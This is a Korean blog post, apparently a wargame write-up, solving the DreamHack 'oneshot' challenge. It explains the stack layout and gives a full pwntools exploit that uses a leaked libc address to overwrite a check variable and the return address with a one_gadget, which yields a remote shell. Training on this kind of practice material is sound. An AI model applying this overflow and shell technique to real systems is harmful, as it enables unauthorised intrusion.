상세 컨텐츠

본문 제목

[DreamHack] oneshot

SYSTEM HACKING/Dreamhack

by koharin 2020. 5. 31. 10:55

본문

728x90
반응형

코드에서 v5가 0이 아니면 exit을 한다. 

따라서 buf(24) | v5(8) | SFP(8) | RET(8)

구조인데 ‘A’*24 + p64(0) + ‘B”*8 + p64(one_gadget)으로 페이로드를 줘서 if 조건을 넘어가고 return 0로 리턴하도록 한다.

 

#!/usr/bin/python 
from pwn import *

context.log_level = 'debug'
#p = process("./oneshot")
p = remote("host1.dreamhack.games", 8246)
elf = ELF("./oneshot")
libc = ELF("./libc.so.6")
one_gadget_off = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

p.recvuntil(": ")
stdout = int(p.recv(14), 16)
libcBase = stdout - 0x3c5620
one_gadget = libcBase + one_gadget_off[0]
log.info("libcBase : "+hex(libcBase))

#gdb.attach(p)
pay = 'A'*(0x20-8) + p64(0) + 'B'*8 + p64(one_gadget)
p.send(pay)

p.interactive()

728x90
반응형

'SYSTEM HACKING > Dreamhack' 카테고리의 다른 글

[DreamHack] basic_rop_x86  (0) 2020.05.31
[DreamHack] basic_rop_x64  (0) 2020.05.31
[DreamHack] ssp_001  (0) 2020.05.31
[Dreamhack] ssp_000  (0) 2020.05.31
[Dreamhack] rtld  (0) 2020.05.17

관련글 더보기